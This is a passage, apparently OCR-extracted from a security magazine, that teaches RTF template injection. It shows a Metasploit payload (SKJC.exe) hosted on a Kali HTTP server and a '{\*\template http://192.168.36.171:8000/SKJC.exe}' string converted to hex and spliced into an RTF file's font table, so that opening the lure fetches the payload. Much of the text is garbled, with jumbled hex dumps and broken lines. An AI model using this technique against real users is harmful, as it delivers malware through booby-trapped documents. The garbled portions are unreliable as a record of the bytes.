00000C30 00000B00 00000B10 00000B20 00000B20 00000B30 00000B40 00000B50 00000B50 00000B70 00000B70 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80 00000B80 00000880	61 73 5C 64 61 61 73 6E 6C 5C 61 67 5C 61 6F 31 5C 61 7D	72 30 61 62 61 72 72 32 69 6F 70 66 61 77 72 63 30 6C 6E	20 5C 66 63 6E 5C 5C 34 6E 63 6C 33 65 66 69 30 68 33 74 6B	5C 68 38 67 68 67 68 61 5C 67 68 61 5C 32 73 64 5C 32 73 64 5C 33 72 20	70 69 5C 31 79 66 6C 31 0A 69 64 30 32 63 6C 66 5C 70 59	61 63 6C 61 30 70 30 61 5C 0A 6E 62 35 34 74 74 33 6B 61 6F	72 68 61 66 38 68 5C 6E 71 5C 20 63 32 5C 6C 72 5C 65 72 75	64 5C 6E 37 31 70 6C 67 6C 70 5C 68 5C 61 70 66 70 70 66 72 7B 2E	5C 61 67 5C 61 6F 31 5C 61 73 5C 61 61 73 5C 61 73 5C 61 73 5C 20	70 66 61 77 72 63 30 6C 72 30 61 62 61 72 72 32 69 6C 7D	6C 33 65 66 69 30 68 33 74 20 5C 66 63 6E 5C 5C 34 6E 6F 0A	61 5C 32 73 64 5C 5C 33 72 5C 68 38 67 68 63 5C 67 63 5C	69 64 30 32 63 6C 66 5C 70 70 69 5C 5C 31 79 66 6C 31 68 70	6E 62 35 34 74 74 33 6B 61 61 61 61 30 70 30 61 5C 0A 61	20 63 32 5C 6C 72 5C 65 72 68 61 66 38 61 66 38 5C 6E 71 54 72	5C 68 5C 61 70 66 72 5C 64 5C 62 37 31 70 6C 67 6C 68 20		<pre>ar \pard\plain \ s0\hich\af3\dbch \af8\langfe2052\ dbch\af7\afs24\a lang1081\widctlp ar\hyphpar0\ltrp ar\cf0\loch\f3\f s24\lang1033\ker ning1\ql\ltrpar\ loch\par \pard \plain \s0\hich\ af3\dbch\af8\lan gfe2052\dbch\af7 \afs24\alang1081 \widctlpar\hyphp ar0\ltrpar\cf0\l och\f3\fs24\lang 1033\kerning1\ql \ltrpar{\loch.Th ank You. }.\par }</pre>

5 C			1
If you observe care	efully, you will see that to the le	eft is hex values and to the right are AS	CII value-
s. Well, Well, W payload to be host	ell. Let's inject now. On anoth ed(SKJC.exe generated in the	er machine (kali Likux) we selected a M Metasploit This Month feature of the sa	Ietasploit me Issue)
<mark>  kali⊛kali</mark> SKJC.exe	.)-[~/Desktop/Web]		
<pre>(kali⊕ kali \$ sudo pytho Serving HTTP o</pre>	.)-[ <b>~/Desktop/Web</b> ] n3 -m http.server n 0.0.0.0 port 8000 (ht	tp://0.0.0.0:8000/)	1 ×
As you would have payload onto the ta -ce would do as she	e figured out by now, we will b arget. For this, we will be need own below.	be using RTF template injection to down ling ASCII to HEX converter. Any onlin	load this ne resour
$\leftarrow \rightarrow \mathbf{C}$	A https://onlinehextools.com/convert-string-to-hex	ង	⊚ ≡
	NLINEHEXTOOLS <b>ELICEST</b> string to hex converter world's s World's simplest online string to hexadecimal numbers of instantly get converted to hex values. Free, quick and very programmers by programmers from <u>team Browserling</u> . <b>a new project! we made someth</b> We just created <u>Online GIF Tools</u> that offers tools for world string {\*\template http://192.168.36.171:8000 {\\$KJC.exe}	<ul> <li>         •          •          •</li></ul>	
<pre>\$</pre>	http://192.168.36.171:8000	hexadecimal string           0x7b         0x5c         0x2a         0x5c         0x74         0x65         0x6d         0           0x6c         0x61         0x74         0x65         0x20         0x68         0x74         0           0x70         0x3a         0x2f         0x2f         0x31         0x39         0x32         0           0x31         0x36         0x38         0x2e         0x33         0x36         0x2e         0           0x37         0x31         0x3a         0x38         0x38         0x30         0x30         0x30         0           0x53         0x4b         0x4a         0x43         0x2e         0x65         0x78         0	x70 x74 x2e x31 x2f x65

You can see that we are converting the URL where our payload (SKJC.exe) is hosted into hexadecimal format to be injected into the RTF template. While doing this, just select not to add 0x prefix to the hexadecimal values and also disable hexadecimal padding as shown below.

	Import from file	Save as	Copy to clipboard	Chain with	Save as	Copy to clipboard	
	string to he	x converter	options				
	Hex Number Opti	ions Base Indicator					
	When selected, a	idds 0x before every he Padding	x number.				
	If the hex numbe then pad it with a	r is one digit (such as r a zero to make it two di					
	Space After H When selected, a	lexadecimals Idds a space after every	y hex number.				
0	string to he	ex converte	er tool what	is a string to	hex conve	erter?	
	This tool converts of each character. I	strings to hexadeci Hexabulous!	mal numbers. It firs	t splits the string into c	hars and then disp	lays the hex codes	
	string to he	ex converte	er examples	click to use			
	Convert a String to Numbers This example con	to a Hex 🛛 🖄 verts a string to a	Convert Anothe Hexadecimal This example co	r String to 🛛 🖸			
The generated he	xadecimal s	string is as	shown bel	OW.			
\$	string			hexadecima	al string		
.≓ +	{\*\template   /SKJC.exe}	http://192.168	.36.171:8000	7b 5c 2a 5c 74 68 74 74 70 3a 38 2e 33 36 26	4 65 6d 70 6c a 2f 2f 31 39 e 31 37 31 3a	61 74 65 20 32 2e 31 36 38 30 30 30	
ED (C)				2f 53 4b 4a 4	3 2e 65 78 65	7d	
У							
	Import from file	Save as	Copy to clipboard	Chain with	Save as	Copy to clipboard	

All this is good. but what is the "\\*\template" at the beginning of the ASCII string we just converted into hex.

RTF file Version 1.5's specifications include some control words among which "\\*\template" is one. The value "\*\" before the control word specifies that the following value is a destination and "template" designates the specific control word function. The value of this control word is intende -d to be the destination of a legitimate template file. As soon as someone opens the RTF file, this file is retrieved and loaded.

As RTF files include their document formatting properties as plaintext strings within the bytes of the file, this property control word syntax can be referenced even in the absence of a word processor thus providing formatting stability for this file type across numerous platforms. By specifying a URL resource as value of this control word, we can weaponize an RTF file to retrieve remote malicious payload we intend to. Moreover, it is very easy to change the bytes of an existing RTF file. This injection method works both in .rtf and .doc.rtf files.

Let's see it practically. We move the cursor towards the place where we want and then insert the generated hexadecimal values as shown below. Note that the injection doesn't work everywhere. For example, I am injecting this template within the function of Times New Roman font as shown in the image below. If the injection is injected at a wrong place, there may be a error and the lure may not open.

000000

	00000000																		
	00000000	7B	5C	72	74	66	31	5C	61	бE	73	69	5C	64	65	66	66		{\rtf1\ansi\deff
	00000010	33	5C	61	64	65	66	6C	61	бE	67	31	30	32	35	0A	7B		3\adeflang1025.{
	00000020	5C	66	бF	6E	74	74	62	6C	7B	5C	66	30	5C	66	72	бF		\f0\fro
	00000030	6D	61	бE	5C	66	70	72	71	32	5C	66	63	68	61	72	73		man\fprq2\fchars
	00000040	65	74	30	20	54	69	6D	65	73	20	4E	65	77	20	52	бF		et0 Times New Ro
	00000050	6D	61	6E	3B	7D	7B	5C	2A	5C	74	65	6D	70	6C	61	74		<pre>man;}{\*\templat</pre>
	00000060	65	20	68	74	74	70	3A	2F	2F	31	39	32	2E	31	36	38		e http://192.168
	00000070	2E	33	36	2E	31	37	31	3A	38	30	30	30	2F	53	4B	<b>4</b> A		.36.171:8000/SKJ
	00000080	43	2E	65	78	65	7D	70	72	71	32	5C	66	63	68	61	72		C.exe}prq2\fchar
	00000090	73	65	74	30	20	41	72	69	61	6C	3B	7D	7B	5C	66	33		<pre>set0 Arial;}{\f3</pre>
	000000A0	5C	66	72	6F	6D	61	бE	5C	66	70	72	71	32	5C	66	63		\froman\fprq2\fc
	000000B0	68	61	72	73	65	74	30	20	4C	69	62	65	72	61	74	69		harset0 Liberati
	000000000	бF	бE	20	53	65	72	69	66	7B	5C	2A	5C	66	61	6C	74		on Serif{\*\falt
	00000000	20	54	69	6D	65	73	20	4E	65	77	20	52	бF	6D	61	6E		Times New Roman
	000000E0	7D	3B	7D	7B	5C	66	34	5C	66	73	77	69	73	73	5C	66		<pre>};}{\f4\fswiss\f</pre>
	000000F0	70	72	71	32	5C	66	63	68	61	72	73	65	74	30	20	4C		prg2\fcharset0 L
	00000100	69	62	65	72	61	74	69	6F	бE	20	53	61	бE	73	7B	5C		iberation Sans{\
	00000110	2A	5C	66	61	6C	74	20	41	72	69	61	6C	7D	3B	7D	7B		*\falt Arial}:}{
	00000120	5C	66	35	5C	66	бE	69	6C	5C	66	70	72	71	32	5C	66		\f5\fnil\fprg2\f
	00000130	63	68	61	72	73	65	74	30	20	4E	бF	74	6F	20	53	61		charset0 Noto Sa
L						Serence -									ACCORDER.		(BLOKE)	v	
	-00000088-																	^	
	00000088	7B	5C	72	74	66	31	5C	61	6E	73	69	5C	64	65	66	66	Î	{\rtf1\ansi\deff
	-00000088 00000000 00000010	7B 33	5C 5C	72 61	74 64	66 65	31 66	5C 6C	61 61	6E 6E	73 67	69 31	5C 30	64 32	65 35	66 0A	66 7B	Î	{\rtf1\ansi\deff 3\adeflang1025.{
	-00000088 00000000 00000010 00000020	7B 33 5C	5C 5C 66	72 61 6F	74 64 6E	66 65 74	31 66 74	5C 6C 62	61 61 6C	6E 6E 7B	73 67 5C	69 31 66	5C 30 30	64 32 5C	65 35 66	66 0A 72	66 7B 6F	ĉ	{\rtf1\ansi\deff 3\adeflang1025.{ \f0\fro
	-00000088 00000000 00000010 00000020 00000020	7B 33 5C 6D	5C 5C 66 61	72 61 6F 6E	74 64 6E 5C	66 65 74 66	31 66 74 70	5C 6C 62 72	61 61 6C 71	6E 6E 7B 32	73 67 5C 5C	69 31 66 66	5C 30 30 63	64 32 5C 68	65 35 66 61	66 0A 72 72	66 7B 6F 73	Î	{\rtf1\ansi\deff 3\adeflang1025.{ \f0\fro man\fprg2\fchars
	-00000088 00000000 00000010 00000020 00000030 00000040	7B 33 5C 6D 65	5C 5C 66 61 74	72 61 6F 6E 30	74 64 6E 5C 20	66 65 74 66 54	31 66 74 70 69	5C 6C 62 72 6D	61 61 6C 71 65	6E 6E 7B 32 73	73 67 5C 5C 20	69 31 66 66 4E	5C 30 30 63 65	64 32 5C 68 77	65 35 66 61 20	66 0A 72 72 52	66 7B 6F 73 6F	Î	{\rtf1\ansi\deff 3\adeflang1025.{ \f0\fro man\fprq2\fchars et0 Times New Ro
	00000088 00000000 00000010 00000020 00000030 00000040 00000050	7B 33 5C 6D 65 6D	5C 5C 66 61 74 61	72 61 6F 6E 30 6E	74 64 6E 5C 20 3B	66 65 74 66 54 7D	31 66 74 70 69 <b>7B</b>	5C 6C 62 72 6D 5C	61 61 6C 71 65 <b>2A</b>	6E 6E 7B 32 73 5C	73 67 5C 5C 20 <b>74</b>	69 31 66 66 4E <b>65</b>	5C 30 30 63 65 65	64 32 5C 68 77 <b>70</b>	65 35 66 61 20 <b>6C</b>	66 0A 72 72 52 <b>61</b>	66 7B 6F 73 6F <b>74</b>	Î	{\rtf1\ansi\deff 3\adeflang1025.{ \f0\fro man\fprq2\fchars et0 Times New Ro man:} <b>{\*\templat</b>
	00000088 00000000 00000010 00000020 00000030 00000030 00000050 00000050	7B 33 5C 6D 65 6D 65	5C 5C 66 61 74 61 <b>20</b>	72 61 6F 6E 30 6E <b>68</b>	74 64 5C 20 3B <b>74</b>	66 65 74 66 54 7D <b>74</b>	31 66 74 70 69 <b>7B</b> 70	5C 6C 62 72 6D 5C 3A	61 6C 71 65 2A 2F	6E 6E 7B 32 73 5C 2F	73 67 5C 5C 20 74 31	69 31 66 66 4E <b>65</b> <b>39</b>	5C 30 30 63 65 65 6D 32	64 32 5C 68 77 <b>70</b> 2E	65 35 66 61 20 6C 31	66 0A 72 72 52 61 36	66 7B 6F 73 6F 74 38	Î	<pre>{\rtf1\ansi\deff 3\adeflang1025.{  \fonttbl{\f0\fro  man\fprq2\fchars  et0 Times New Ro  man;}{\*\templat  e http://192.168</pre>
	00000088 00000000 00000010 00000020 00000030 00000040 00000050 00000050 00000060	7B 33 5C 6D 65 6D 65 2E	5C 5C 66 61 74 61 20 33	72 61 6F 6E 30 6E 68 36	74 64 5C 20 3B 74 2E	66 65 74 66 54 70 70 74 31	31 66 74 70 69 78 70 37	5C 6C 62 72 6D 5C 3A 31	61 61 71 65 2A 2F 3A	6E 6E 7B 32 73 5C 2F 38	73 67 5C 20 74 31 30	69 31 66 66 4E 65 39 30	5C 30 30 63 65 65 6D 32 30	64 32 5C 68 77 70 2E 2F	65 35 66 61 20 6C 31 53	66 0A 72 72 52 61 36 4B	66 7B 6F 73 6F 74 38 4A		<pre>{\rtf1\ansi\deff 3\adeflang1025.{  \fonttbl{\f0\fro  man\fprq2\fchars  et0 Times New Ro  man;}{\*\templat  e http://192.168 .36.171:8000/SKJ</pre>
	00000088 00000000 00000020 00000020 00000030 00000040 00000050 00000050 00000050 00000050	7B 33 5C 6D 65 6D 65 2E 43	5C 5C 61 74 61 20 33 2E	72 61 6F 6E 30 6E 68 36 65	74 64 5C 20 3B 74 2E 78	66 65 74 66 54 7D 74 31 65	31 66 74 70 69 78 70 37 70	5C 6C 62 72 6D 5C 3A 31 7B	61 60 71 65 2A 2F 3A 5C	6E 7B 32 73 5C 2F 38 71	73 67 5C 20 74 31 30 32	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C	5C 30 63 65 6D 32 30 66	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63	65 35 66 61 20 6C 31 53 68	66 0A 72 72 52 61 36 4B 61	66 7B 6F 73 6F 74 38 4A 72		<pre>{\rtf1\ansi\deff 3\adeflang1025.{  \fonttbl{\f0\fro  man\fprq2\fchars  et0 Times New Ro  man;}{\*\templat  e http://192.168 .36.171:8000/SKJ C.exe}{\g2\fchar</pre>
	00000088 00000000 00000010 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73	5C 5C 66 61 74 61 20 33 2E 65	72 61 6F 6E 30 6E 68 36 65 74	74 64 5C 20 3B 74 2E 78 30	66 65 74 66 54 7D 74 31 65 20	31 66 74 70 69 78 70 37 70 37 41	5C 6C 72 6D 5C 3A 31 7B 72	61 60 71 65 2A 2F 3A 5C 69	6E 6E 7B 32 73 5C 2F 38 71 61	73 67 5C 20 74 31 30 32 6C	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B	5C 30 63 65 6D 32 30 66 7D	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63 7B	65 35 66 61 20 6C 31 53 68 5C	66 0A 72 72 52 61 36 4B 61 66	66 7B 6F 73 6F 74 38 4A 72 33		<pre>{\rtf1\ansi\deff 3\adeflang1025.{  \fonttbl{\f0\fro  man\fprq2\fchars  et0 Times New Ro  man;}{\*\templat  e http://192.168  .36.171:8000/SKJ  C.exe}{\q2\fchar  set0 Arial;}{\f3</pre>
	00000088 00000000 00000010 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66	72 61 6F 6E 30 6E <b>68</b> <b>36</b> <b>65</b> 74 72	74 64 5C 20 3B 74 2E 78 30 6F	66 65 74 66 54 7D 74 31 65 20 6D	31 66 74 70 69 78 70 37 70 37 70 41 61	5C 6C 62 72 6D 5C 3A 31 7B 72 6E	61 6C 71 65 2A 2F 3A 5C 69 5C	6E 6E 7B 32 73 5C 2F 38 71 61 61	73 67 5C 20 74 31 30 32 6C 70	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72	5C 30 63 65 6D 32 30 66 7D 71	64 32 5C 68 77 <b>70</b> <b>2E</b> 63 7B 32	65 35 66 61 20 6C 31 53 68 5C 5C	66 0A 72 72 52 61 36 4B 61 66 66	66 7B 6F 73 6F 74 38 4A 72 33 63		<pre>{\rtf1\ansi\deff 3\adeflang1025.{  \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\g2\fchar set0 Arial;}{\f3 \froman\fprq2\fc</pre>
	00000088 00000000 00000010 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61	72 61 6F 6E 30 6E <b>68</b> <b>36</b> <b>65</b> 74 72 72	74 64 5C 20 3B 74 2E 78 30 6F 73	66 65 74 66 54 7D 74 31 65 20 6D 65	31 66 74 70 69 78 70 37 70 41 61 74	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30	61 60 71 65 2A 2F 3A 5C 69 50 20	6E 6E 7B 32 73 5C 2F 38 71 61 61 66 4C	73 67 5C 20 74 31 30 32 6C 70 69	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62	5C 30 63 65 6D 32 30 66 7D 71 65	64 32 5C 68 77 <b>70</b> <b>2E</b> 63 7B 32 72	65 35 66 61 20 6C 31 53 68 5C 5C 61	66 0A 72 72 52 61 36 4B 61 66 66 74	66 7B 6F 73 6F 74 38 4A 72 33 63 69		<pre>{\rtf1\ansi\deff 3\adeflang1025.{   \fonttbl{\f0\fro   man\fprq2\fchars   et0 Times New Ro   man;}{\*\templat   e http://192.168   .36.171:8000/SKJ   C.exe}{\q2\fchar   set0 Arial;}{\f3   \froman\fprq2\fc   harset0 Liberati</pre>
	00000088 00000000 00000010 00000020 00000030 00000040 00000040 00000050 00000050 00000050 00000060 00000080 00000080 00000080 00000080	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E	72 61 6F 6E 30 6E <b>68</b> <b>36</b> <b>65</b> 74 72 72 20	74 64 5C 20 3B 74 2E 78 30 6F 73 53	66 65 74 66 54 7D 74 31 65 20 6D 65 65	31 66 74 70 69 <b>7B</b> <b>70</b> <b>37</b> <b>7D</b> 41 61 74 72	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30 69	61 61 65 2A 2F 3A 5C 69 5C 20 66	6E 6E 7B 32 73 5C 2F 38 71 61 61 66 4C 7B	73 67 5C 20 74 31 30 32 6C 70 69 5C	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A	5C 30 30 63 65 6D 32 30 66 7D 71 65 5C	64 32 5C 68 77 <b>70</b> <b>2E</b> 63 7B 32 72 66	65 35 66 61 20 6C 31 53 68 5C 5C 61 61	66 0A 72 72 52 61 36 4B 61 66 66 74 60	66 7B 6F 73 6F <b>74</b> <b>38</b> <b>4A</b> 72 33 63 69 74		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\q2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt</pre>
	00000088 00000000 00000010 00000020 00000030 00000040 00000040 00000050 00000050 00000060 00000070 00000080 00000080 00000080 00000080 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F 20	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E 54	72 61 6F 6E 30 6E <b>68</b> <b>65</b> 74 72 72 20 69	74 64 5C 20 3B 74 2E 78 30 6F 73 53 6D	66 65 74 66 54 7D <b>74</b> <b>31</b> 65 20 6D 65 65 65	31 66 74 70 69 <b>78</b> <b>70</b> <b>37</b> <b>70</b> 41 61 74 72 73	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30 69 20	61 62 71 65 <b>2A</b> <b>2F</b> <b>3A</b> <b>5C</b> 69 5C 20 66 4E	6E 6E 7B 32 73 5C 2F 38 71 61 61 66 4C 7B 65	73 67 5C 20 74 31 30 32 6C 70 69 5C 77	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A 20	5C 30 30 63 65 6D 32 30 66 7D 71 65 5C 52	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63 7B 32 72 66 6F	65 35 66 61 20 6C 31 53 68 5C 5C 61 61 61 6D	66 0A 72 72 52 61 36 4B 61 66 74 60 74 60	66 7B 6F 73 6F <b>74</b> <b>38</b> <b>4A</b> 72 33 63 69 74 6E		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\g2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt Times New Roman</pre>
	00000088 00000000 00000020 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F 20 7D	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E 54 3B	72 61 6F 6E 30 6E <b>68</b> <b>65</b> 74 72 72 20 69 7D	74 64 5C 20 3B 74 2E 78 30 6F 73 53 6D 7B	66 65 74 66 54 7D 74 31 65 65 65 65 65 50	31 66 74 70 69 <b>7B</b> <b>70</b> <b>37</b> <b>70</b> 41 61 74 72 73 66	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30 69 20 34	61 61 65 2A 2F 3A 5C 69 5C 20 66 4E 5C	6E 6E 7B 32 73 5C 2F 38 71 61 66 4C 7B 65 66	73 67 5C 20 74 31 30 32 6C 70 69 5C 77 73	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A 20 77	5C 30 30 63 65 <b>6D</b> <b>32</b> <b>30</b> 66 7D 71 65 5C 52 69	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63 7B 32 72 66 6F 73	65 35 66 61 20 6C 31 53 68 5C 5C 61 61 61 73	66 0A 72 72 52 61 36 4B 61 66 74 60 74 61 50	66 7B 6F 73 6F <b>74</b> <b>38</b> <b>4A</b> 72 33 63 63 69 74 6E 66		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\g2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt Times New Roman };}{\f4\fswiss\f</pre>
	00000088 00000000 00000020 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F 20 7D 70	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E 54 3B 72	72 61 6F 6E 30 6E 68 36 65 74 72 72 20 69 7D 71	74 64 5C 20 3B 74 2E 78 30 6F 73 53 6D 78 32	66 65 74 66 54 7D 74 31 65 65 65 65 65 50 50	31 66 74 70 69 <b>7B</b> <b>70</b> <b>37</b> <b>7D</b> 41 61 74 72 73 66 66	5C 6C 72 6D 5C 3A 31 7B 72 6E 30 69 20 34 63	61 61 65 2A 2F 3A 5C 69 5C 20 66 4E 5C 68	6E 6E 7B 32 73 5C 2F 38 71 61 66 4C 7B 65 66 61	73 67 5C 20 74 31 30 32 6C 70 69 5C 77 73 72	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A 20 77 73	5C 30 30 63 65 6D 32 30 66 7D 71 65 5C 52 69 65	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63 7B 32 72 66 6F 73 74	65 35 66 61 20 <b>6C</b> <b>31</b> 53 68 5C 5C 61 61 61 73 30	66 0A 72 72 52 61 36 4B 61 66 74 60 74 60 50 20	66 7B 6F 73 6F <b>74</b> <b>38</b> <b>4A</b> 72 33 63 69 74 6E 66 4C		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\g2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt Times New Roman };}{\f4\fswiss\f prq2\fcharset0 L</pre>
	00000088 00000000 00000020 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F 20 7D 70 69	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E 54 3B 72 62	72 61 6F 6E 30 6E <b>68</b> <b>36</b> <b>65</b> 74 72 72 20 69 7D 71 65	74 64 5C 20 3B 74 2E 78 30 6F 73 53 6D 7B 32 72	66 65 74 66 54 7D 74 31 65 20 65 65 65 50 50 61	31 66 74 70 69 <b>7B</b> <b>70</b> <b>37</b> <b>70</b> 41 61 74 72 73 66 66 74	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30 69 20 34 63 69	61 61 65 2A 2F 3A 5C 69 5C 20 66 4E 5C 68 6F	6E 6E 7B 32 73 5C 2F 38 71 61 66 4C 7B 65 66 61 6E	73 67 5C 20 74 31 30 32 6C 70 69 5C 77 73 72 20	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A 20 77 73 53	5C 30 30 63 65 6D 32 30 66 7D 71 65 5C 52 69 65 61	64 32 5C 68 77 <b>70</b> <b>2E</b> 63 7B 32 72 66 6F 73 66 73 74 6E	65 35 66 61 20 6C 31 53 68 5C 5C 61 61 61 73 30 73	66 0A 72 72 52 61 36 4B 61 66 74 60 74 60 50 72 70 70	66 7B 6F 73 6F 74 38 4A 72 33 63 69 74 6E 66 4C 5C		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\g2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt Times New Roman };}{\f4\fswiss\f prq2\fcharset0 L iberation Sans{\</pre>
	00000088 00000000 00000010 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F 20 7D 70 69 2A	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E 54 3B 72 62 5C	72 61 6F 6E 30 6E <b>68</b> <b>36</b> <b>65</b> 74 72 72 20 69 7D 71 65 66	74 64 6E 5C 20 3B 74 2E 78 30 6F 73 53 6D 7B 32 72 61	66 65 74 66 54 7D 74 31 65 20 65 65 65 50 50 50 61 60	31 66 74 70 69 <b>7B</b> <b>70</b> <b>37</b> <b>70</b> 41 61 74 72 73 66 66 74 74	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30 69 20 34 63 69 20 20	61 61 67 71 65 <b>2A</b> <b>2F</b> <b>3A</b> <b>5C</b> 69 5C 20 66 4E 5C 68 6F 41	6E 6E 7B 32 73 5C 2F 38 71 61 60 4C 7B 65 66 61 6E 72	73 67 5C 20 74 31 30 32 6C 70 69 5C 77 73 72 20 69	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A 20 77 73 53 61	5C 30 30 63 65 6D 32 30 66 7D 71 65 5C 52 69 65 61 6C	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63 7B 32 72 66 6F 73 74 6E 7D	65 35 66 61 20 6C 31 53 68 5C 61 61 61 61 73 30 73 30 73 38	66 0A 72 72 52 61 36 4B 61 66 66 74 60 61 50 70 70	66 7B 6F 73 6F 74 38 4A 72 33 63 69 74 6E 66 4C 5C 7B		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\g2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt Times New Roman };}{\f4\fswiss\f prq2\fcharset0 L iberation Sans{\ *\falt Arial};}{</pre>
	00000088 00000000 00000020 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F 20 7D 70 69 2A 5C	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E 54 3B 72 62 5C 66	72 61 6F 6E 30 6E <b>68</b> <b>36</b> <b>65</b> 74 72 72 20 69 7D 71 65 66 35	74 64 6E 5C 20 3B 74 2E 78 30 6F 73 53 6D 7B 32 72 61 5C	66 65 74 66 54 7D 74 31 65 65 65 65 65 50 65 50 61 60 60	31 66 74 70 69 <b>7B</b> <b>70</b> <b>37</b> <b>7D</b> 41 61 74 72 73 66 66 74 74 65	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30 69 20 34 63 69 20 34 63 69 20 69	61 61 65 2A 2F 3A 5C 69 5C 20 66 4E 5C 68 6F 41 6C	6E 6E 7B 32 73 5C 2F 38 71 61 66 4C 7B 65 66 61 6E 72 5C	73 67 5C 20 74 31 30 32 6C 70 69 5C 77 73 72 20 69 60	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A 20 77 73 53 61 70	5C 30 30 63 65 6D 32 30 66 7D 71 65 5C 52 69 65 61 62 72	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63 7B 32 72 66 6F 73 74 6E 7D 71	65 35 66 61 20 6C 31 53 68 5C 61 61 61 61 73 30 73 30 73 38 32	66 0A 72 72 52 61 36 61 66 61 66 74 60 61 50 78 70 50	66 7B 6F 73 6F 74 38 4A 72 33 63 69 74 6E 66 4C 5C 7B 66		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\q2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt Times New Roman };}{\f4\fswiss\f prq2\fcharset0 L iberation Sans{\ *\falt Arial};}{</pre>
